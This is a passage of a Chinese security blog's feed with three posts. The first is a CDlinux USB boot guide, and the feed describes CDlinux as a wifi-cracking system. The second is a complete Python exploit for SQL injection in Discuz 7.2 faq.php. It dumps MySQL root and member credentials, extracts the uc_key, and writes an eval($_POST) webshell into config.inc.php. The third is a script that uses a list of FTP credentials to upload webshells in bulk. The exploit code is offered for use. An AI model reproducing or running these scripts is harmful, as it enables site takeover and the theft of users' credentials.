<p>网上的安装方法五花八门，这里说下一种最简单。</p>
<h2 id="所需工具"><a href="#所需工具" class="headerlink" title="所需工具"></a>所需工具</h2><ul>
<li>U盘</li>
<li>syslinux工具（<a href="http://www.iswin.org/resources/attached/file/20141129/20141129030141_312.zip">工具下载</a>）</li>
<li>Cdlinux 镜像</li>
</ul>
<h2 id="步骤"><a href="#步骤" class="headerlink" title="步骤"></a>步骤</h2><ol>
<li>格式化u盘</li>
<li>在u盘里面新建boot文件夹，解压cdlinux到boot文件夹下 </li>
<li><p>在u盘里面的boot文件夹里面新建syslinux文件夹，在该文件夹里面建立syslinux.cfg文件，具体内容如下：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">default CDlinux</span><br><span class="line">time 60</span><br><span class="line">LABEL CDlinux</span><br><span class="line">SAY Now booting the cdlinux from SYSLINUX...</span><br><span class="line">KERNEL /boot/CDlinux/bzImage</span><br><span class="line">APPEND initrd=/boot/CDlinux/initrd quiet CDL_LANG=zh_CN.UTF-8 CDL_AMOUNT=yes</span><br></pre></td></tr></table></figure>
</li>
<li><p>将下载的syslinux.exe放到syslinux文件夹下面，dos下cd到该目录，执行 </p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">syslinux.exe <span class="_">-f</span> -m <span class="_">-a</span> <span class="_">-d</span> /boot/syslinux E:</span><br></pre></td></tr></table></figure>
</li>
</ol>
<p>注意：E是u盘的盘符，根据需要自己改就是了！</p>
<ol>
<li>重启系统，选择从u盘启动，就ok！</li>
</ol>
]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;CDlinux是破解无线wifi信号的很好用的系统。它就像一个PE，不过它是基于Linux内核的微型系统。里面的破解工具很齐全，既有传统的抓包工具，也有最新的PIN码破解软件，而且针对windows用户的使用习惯进行了界面优化，所以使用起来会很方便
    
    </summary>
    
      <category term="Linux" scheme="https://www.iswin.org/categories/Linux/"/>
    
    
      <category term="Cdlinux" scheme="https://www.iswin.org/tags/Cdlinux/"/>
    
      <category term="Linux" scheme="https://www.iswin.org/tags/Linux/"/>
    
  </entry>
  
  <entry>
    <title>Python Discuz 7.2 faq.php 注入漏洞全自动利用工具</title>
    <link href="https://www.iswin.org/2014/07/03/Python-Discuz-7-2-faq-php-sqlinjection-exploit-tools/"/>
    <id>https://www.iswin.org/2014/07/03/Python-Discuz-7-2-faq-php-sqlinjection-exploit-tools/</id>
    <published>2014-07-03T14:45:57.000Z</published>
    <updated>2017-01-23T17:21:19.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="说明"><a href="#说明" class="headerlink" title="说明"></a>说明</h2><p>Discuz 7.2 faq.php全自动利用工具,getshell 以及dump数据，python 版的uc_key getshell部分的代码来自网上(感谢作者)</p>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># -*- coding: gbk -*-</span></span><br><span class="line"><span class="comment"># -*- coding: gb2312 -*-</span></span><br><span class="line"><span class="comment"># -*- coding: utf_8 -*- </span></span><br><span class="line"><span class="comment"># author iswin </span></span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> math</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> urllib2 </span><br><span class="line"><span class="keyword">import</span> urllib</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">sendRequest</span><span class="params">(url,para)</span>:</span></span><br><span class="line">	<span class="keyword">try</span>:</span><br><span class="line">		data = urllib.urlencode(para)</span><br><span class="line">		req=urllib2.Request(url,data)</span><br><span class="line">		res=urllib2.urlopen(req,timeout=<span class="number">20</span>).read()</span><br><span class="line">	<span class="keyword">except</span> Exception, e:</span><br><span class="line">		<span class="keyword">print</span> <span class="string">'Exploit Failed!\n%s'</span>%(e)</span><br><span class="line">		exit(<span class="number">0</span>);</span><br><span class="line">	<span class="keyword">return</span> res</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getTablePrefix</span><span class="params">(url)</span>:</span></span><br><span class="line">	<span class="keyword">print</span> <span class="string">'Start GetTablePrefix...'</span></span><br><span class="line">	para=&#123;<span class="string">'action'</span>:<span class="string">'grouppermission'</span>,<span class="string">'gids[99]'</span>:<span class="string">'\''</span>,<span class="string">'gids[100][0]'</span>:<span class="string">') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'</span>&#125;</span><br><span class="line">	res=sendRequest(url,para);</span><br><span class="line">	pre=re.findall(<span class="string">"Duplicate entry '(.*?)'"</span>,res);</span><br><span class="line">	<span class="keyword">if</span> len(pre)==<span class="number">0</span>:</span><br><span class="line">		<span class="keyword">print</span> <span class="string">'Exploit Failed!'</span></span><br><span class="line">		exit(<span class="number">0</span>);</span><br><span class="line">	table_pre=pre[<span class="number">0</span>][:len(pre[<span class="number">0</span>])<span class="number">-1</span>].decode(<span class="string">'hex'</span>)</span><br><span class="line">	table_pre=table_pre[<span class="number">0</span>:table_pre.index(<span class="string">'_'</span>)]</span><br><span class="line">	<span class="keyword">print</span> <span class="string">'Table_pre:%s'</span>%(table_pre)</span><br><span class="line">	<span class="keyword">return</span> table_pre</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getCurrentUser</span><span class="params">(url)</span>:</span></span><br><span class="line">	para=&#123;<span class="string">'action'</span>:<span class="string">'grouppermission'</span>,<span class="string">'gids[99]'</span>:<span class="string">'\''</span>,<span class="string">'gids[100][0]'</span>:<span class="string">') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'</span>&#125;</span><br><span class="line">	res=sendRequest(url,para)</span><br><span class="line">	pre=re.findall(<span class="string">"Duplicate entry '(.*?)'"</span>,res)</span><br><span class="line">	<span class="keyword">if</span> len(pre)==<span class="number">0</span>:</span><br><span class="line">		<span class="keyword">print</span> <span class="string">'Exploit Failed!'</span></span><br><span class="line">		exit(<span class="number">0</span>);</span><br><span class="line">	table_pre=pre[<span class="number">0</span>][:len(pre[<span class="number">0</span>])<span class="number">-1</span>]</span><br><span class="line">	<span class="keyword">print</span> <span class="string">'Current User:%s'</span>%(table_pre)</span><br><span class="line">	<span class="keyword">return</span> table_pre</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getUcKey</span><span class="params">(url)</span>:</span></span><br><span class="line">	para=&#123;<span class="string">'action'</span>:<span class="string">'grouppermission'</span>,<span class="string">'gids[99]'</span>:<span class="string">'\''</span>,<span class="string">'gids[100][0]'</span>:<span class="string">') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'</span>&#125;</span><br><span class="line">	para1=&#123;<span class="string">'action'</span>:<span class="string">'grouppermission'</span>,<span class="string">'gids[99]'</span>:<span class="string">'\''</span>,<span class="string">'gids[100][0]'</span>:<span class="string">') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'</span>&#125;</span><br><span class="line">	res=sendRequest(url,para);</span><br><span class="line">	res1=sendRequest(url,para1);</span><br><span class="line">	key1=re.findall(<span class="string">"Duplicate entry '(.*?)'"</span>,res)</span><br><span class="line">	key2=re.findall(<span class="string">"Duplicate entry '(.*?)'"</span>,res1)</span><br><span class="line">	<span class="keyword">if</span> len(key1)==<span class="number">0</span>:</span><br><span class="line">		<span class="keyword">print</span> <span class="string">'Get Uc_Key Failed!'</span></span><br><span class="line">		<span class="keyword">return</span> <span class="string">''</span></span><br><span class="line">	key=key1[<span class="number">0</span>][:len(key1[<span class="number">0</span>])<span class="number">-1</span>]+key2[<span class="number">0</span>][:len(key2[<span class="number">0</span>])<span class="number">-1</span>]</span><br><span class="line">	<span class="keyword">print</span> <span class="string">'uc_key:%s'</span>%(key)</span><br><span class="line">	<span class="keyword">return</span> key</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getRootUser</span><span class="params">(url)</span>:</span></span><br><span class="line">	para=&#123;<span class="string">'action'</span>:<span class="string">'grouppermission'</span>,<span class="string">'gids[99]'</span>:<span class="string">'\''</span>,<span class="string">'gids[100][0]'</span>:<span class="string">') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'</span>&#125;</span><br><span class="line">	res=sendRequest(url,para);</span><br><span class="line">	pre=re.findall(<span class="string">"Duplicate entry '(.*?)'"</span>,res)</span><br><span class="line">	<span class="keyword">if</span> len(pre)==<span class="number">0</span>:</span><br><span class="line">		<span class="keyword">print</span> <span class="string">'Exploit Failed!'</span></span><br><span class="line">		exit(<span class="number">0</span>);</span><br><span class="line">	table_pre=pre[<span class="number">0</span>][:len(pre[<span class="number">0</span>])<span class="number">-1</span>].split(<span class="string">' '</span>)</span><br><span class="line">	<span class="keyword">print</span> <span class="string">'root info:\nuser:%s password:%s'</span>%(table_pre[<span class="number">0</span>],table_pre[<span class="number">1</span>])</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dumpData</span><span class="params">(url,table_prefix,count)</span>:</span></span><br><span class="line">	para=&#123;<span class="string">'action'</span>:<span class="string">'grouppermission'</span>,<span class="string">'gids[99]'</span>:<span class="string">'\''</span>,<span class="string">'gids[100][0]'</span>:<span class="string">') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'</span>%(table_prefix,count)&#125;</span><br><span class="line">	res=sendRequest(url,para);</span><br><span class="line">	datas=re.findall(<span class="string">"Duplicate entry '(.*?)'"</span>,res)</span><br><span class="line">	<span class="keyword">if</span> len(datas)==<span class="number">0</span>:</span><br><span class="line">		<span class="keyword">print</span> <span class="string">'Exploit Failed!'</span></span><br><span class="line">		exit(<span class="number">0</span>)</span><br><span class="line">	cleandata=datas[<span class="number">0</span>][:len(datas[<span class="number">0</span>])<span class="number">-1</span>]</span><br><span class="line">	info=cleandata.split(<span class="string">' '</span>)</span><br><span class="line">	<span class="keyword">print</span> <span class="string">'user:%s pass:%s'</span>%(info[<span class="number">0</span>],info[<span class="number">1</span>])</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">microtime</span><span class="params">(get_as_float = False)</span> :</span></span><br><span class="line">    <span class="keyword">if</span> get_as_float:</span><br><span class="line">        <span class="keyword">return</span> time.time()</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">'%.8f %d'</span> % math.modf(time.time())</span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_authcode</span><span class="params">(string, key = <span class="string">''</span>)</span>:</span></span><br><span class="line">    ckey_length = <span class="number">4</span></span><br><span class="line">    key = hashlib.md5(key).hexdigest()</span><br><span class="line">    keya = hashlib.md5(key[<span class="number">0</span>:<span class="number">16</span>]).hexdigest()</span><br><span class="line">    keyb = hashlib.md5(key[<span class="number">16</span>:<span class="number">32</span>]).hexdigest()</span><br><span class="line">    keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]</span><br><span class="line">    cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() </span><br><span class="line">    key_length = len(cryptkey)</span><br><span class="line">    string = <span class="string">'0000000000'</span> + (hashlib.md5(string+keyb)).hexdigest()[<span class="number">0</span>:<span class="number">16</span>]+string</span><br><span class="line">    string_length = len(string)</span><br><span class="line">    result = <span class="string">''</span></span><br><span class="line">    box = range(<span class="number">0</span>, <span class="number">256</span>)</span><br><span class="line">    rndkey = dict()</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>,<span class="number">256</span>):</span><br><span class="line">        rndkey[i] = ord(cryptkey[i % key_length])</span><br><span class="line">    j=<span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>,<span class="number">256</span>):</span><br><span class="line">        j = (j + box[i] + rndkey[i]) % <span class="number">256</span></span><br><span class="line">        tmp = box[i]</span><br><span class="line">        box[i] = box[j]</span><br><span class="line">        box[j] = tmp</span><br><span class="line">    a=<span class="number">0</span></span><br><span class="line">    j=<span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>,string_length):</span><br><span class="line">        a = (a + <span class="number">1</span>) % <span class="number">256</span></span><br><span class="line">        j = (j + box[a]) % <span class="number">256</span></span><br><span class="line">        tmp = box[a]</span><br><span class="line">        box[a] = box[j]</span><br><span class="line">        box[j] = tmp</span><br><span class="line">        result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % <span class="number">256</span>]))</span><br><span class="line">    <span class="keyword">return</span> keyc + base64.b64encode(result).replace(<span class="string">'='</span>, <span class="string">''</span>)</span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_shell</span><span class="params">(url,key,host)</span>:</span></span><br><span class="line">    headers=&#123;<span class="string">'Accept-Language'</span>:<span class="string">'zh-cn'</span>,</span><br><span class="line">    <span class="string">'Content-Type'</span>:<span class="string">'application/x-www-form-urlencoded'</span>,</span><br><span class="line">    <span class="string">'User-Agent'</span>:<span class="string">'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)'</span>,</span><br><span class="line">    <span class="string">'Referer'</span>:url</span><br><span class="line">    &#125;</span><br><span class="line">    tm = time.time()+<span class="number">10</span>*<span class="number">3600</span></span><br><span class="line">    tm=<span class="string">"time=%d&amp;action=updateapps"</span> %tm</span><br><span class="line">    code = urllib.quote(get_authcode(tm,key))</span><br><span class="line">    url=url+<span class="string">"?code="</span>+code</span><br><span class="line">    data1=<span class="string">'''&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt;</span></span><br><span class="line"><span class="string">            &lt;root&gt;</span></span><br><span class="line"><span class="string">            &lt;item id="UC_API"&gt;http://xxx\');eval($_POST[3]);//&lt;/item&gt;</span></span><br><span class="line"><span class="string">            &lt;/root&gt;'''</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        req=urllib2.Request(url,data=data1,headers=headers)</span><br><span class="line">        ret=urllib2.urlopen(req)</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">"Exploit Falied"</span></span><br><span class="line">    data2=<span class="string">'''&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt;</span></span><br><span class="line"><span class="string">            &lt;root&gt;</span></span><br><span class="line"><span class="string">            &lt;item id="UC_API"&gt;http://aaa&lt;/item&gt;</span></span><br><span class="line"><span class="string">            &lt;/root&gt;'''</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        req=urllib2.Request(url,data=data2,headers=headers)</span><br><span class="line">        ret=urllib2.urlopen(req)</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">"error"</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">    	req=urllib2.Request(host+<span class="string">'/config.inc.php'</span>)</span><br><span class="line">    	res=urllib2.urlopen(req,timeout=<span class="number">20</span>).read()</span><br><span class="line">    <span class="keyword">except</span> Exception, e:</span><br><span class="line">    	<span class="keyword">print</span> <span class="string">'GetWebshell Failed,%s'</span>%(e)</span><br><span class="line">     	<span class="keyword">return</span></span><br><span class="line">    <span class="keyword">print</span> <span class="string">"webshell:"</span>+host+<span class="string">"/config.inc.php,password:3"</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">	<span class="keyword">print</span> <span class="string">'DZ7.x Exp Code By iswin'</span></span><br><span class="line">	<span class="keyword">if</span> len(sys.argv)&lt;<span class="number">3</span>:</span><br><span class="line">		<span class="keyword">print</span> <span class="string">'DZ7.x Exp Code By iswin\nusage:python dz7.py http://www.iswin.org 10'</span></span><br><span class="line">		exit(<span class="number">0</span>)</span><br><span class="line">	url=sys.argv[<span class="number">1</span>]+<span class="string">'/faq.php'</span></span><br><span class="line">	count=int(sys.argv[<span class="number">2</span>])</span><br><span class="line">	user=getCurrentUser(url)</span><br><span class="line">	<span class="keyword">if</span> user.startswith(<span class="string">'root@'</span>):</span><br><span class="line">		getRootUser(url)</span><br><span class="line">	uc_key=getUcKey(url)</span><br><span class="line">	<span class="keyword">if</span> len(uc_key)==<span class="number">64</span>:</span><br><span class="line">		<span class="keyword">print</span> <span class="string">'Start GetWebshell...'</span></span><br><span class="line">		get_shell(sys.argv[<span class="number">1</span>]+<span class="string">'/api/uc.php'</span>,uc_key,sys.argv[<span class="number">1</span>])</span><br><span class="line">	tb_pre=getTablePrefix(url)</span><br><span class="line">	<span class="keyword">print</span> <span class="string">'Start DumpData...'</span></span><br><span class="line">	<span class="keyword">for</span> x <span class="keyword">in</span> xrange(<span class="number">0</span>,count):</span><br><span class="line">		dumpData(url,tb_pre,x)</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;说明&quot;&gt;&lt;a href=&quot;#说明&quot; class=&quot;headerlink&quot; title=&quot;说明&quot;&gt;&lt;/a&gt;说明&lt;/h2&gt;&lt;p&gt;Discuz 7.2 faq.php全自动利用工具,getshell 以及dump数据，python 版的uc_key getshell部分
    
    </summary>
    
      <category term="Python" scheme="https://www.iswin.org/categories/Python/"/>
    
    
      <category term="Python" scheme="https://www.iswin.org/tags/Python/"/>
    
  </entry>
  
  <entry>
    <title>Python 批量上传Webshell</title>
    <link href="https://www.iswin.org/2014/05/13/python-upload-webshell/"/>
    <id>https://www.iswin.org/2014/05/13/python-upload-webshell/</id>
    <published>2014-05-13T14:35:43.000Z</published>
    <updated>2015-06-08T14:50:52.000Z</updated>
    
    <content type="html"><![CDATA[<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line">__author__ = <span class="string">'iswin'</span></span><br><span class="line"><span class="keyword">import</span> ftplib</span><br><span class="line"><span class="keyword">import</span>  os</span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> _thread</span><br><span class="line">RPATH=&#123;<span class="string">"wwwroot"</span>,<span class="string">"web"</span>,<span class="string">"www"</span>&#125;</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">upload</span><span class="params">(host,username,password,file)</span>:</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        ftp=ftplib.FTP(host=host,timeout=<span class="number">30</span>)</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        print(<span class="string">"Error!"</span>)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    print(<span class="string">"Connect to host %s"</span>%host)</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        ftp.login(user=username,passwd=password)</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        print(<span class="string">"Login Error!"</span>)</span><br><span class="line">        ftp.quit();</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    print(<span class="string">"Connect successful!"</span>)</span><br><span class="line">    <span class="keyword">for</span> dir <span class="keyword">in</span> RPATH:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            ftp.cwd(dir)</span><br><span class="line">            fd=open(file,<span class="string">"rb"</span>)</span><br><span class="line">            ftp.storbinary(<span class="string">'STOR %s'</span>%os.path.basename(file),fd)</span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            print(<span class="string">"can't upload the file %s"</span>%file)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            print(<span class="string">"upload %s to %s successful"</span>%(file,host))</span><br><span class="line">            ftp.quit()</span><br><span class="line">            fd.close()</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line">        <span class="keyword">finally</span>:</span><br><span class="line">            fd.close()</span><br><span class="line"><span class="keyword">if</span> __name__==<span class="string">"__main__"</span>:</span><br><span class="line">    <span class="keyword">if</span> len(sys.argv)&lt;<span class="number">2</span>:</span><br><span class="line">        print(<span class="string">"usage:python shell.py ftplist shellpath"</span>)</span><br><span class="line">        sys.exit()</span><br><span class="line">    ftplist=sys.argv[<span class="number">1</span>]</span><br><span class="line">    shellpath=sys.argv[<span class="number">2</span>]</span><br><span class="line">    file=open(ftplist)</span><br><span class="line">    <span class="keyword">while</span> <span class="keyword">True</span>:</span><br><span class="line">        line=file.readline()</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> line:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            username=line.split(<span class="string">","</span>)</span><br><span class="line">            upload(username[<span class="number">0</span>],username[<span class="number">1</span>],username[<span class="number">2</span>],shellpath)</span><br><span class="line">            print(<span class="string">"host:%s username:%s password:%s"</span>%(username[<span class="number">0</span>],username[<span class="number">1</span>],username[<span class="number">2</span>]))</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      &lt;figure class=&quot;highlight python&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span clas
    
    </summary>
    
      <category term="Python" scheme="https://www.iswin.org/categories/Python/"/>
    
    
      <category term="Python" scheme="https://www.iswin.org/tags/Python/"/>
    
  </entry>
  
</feed>
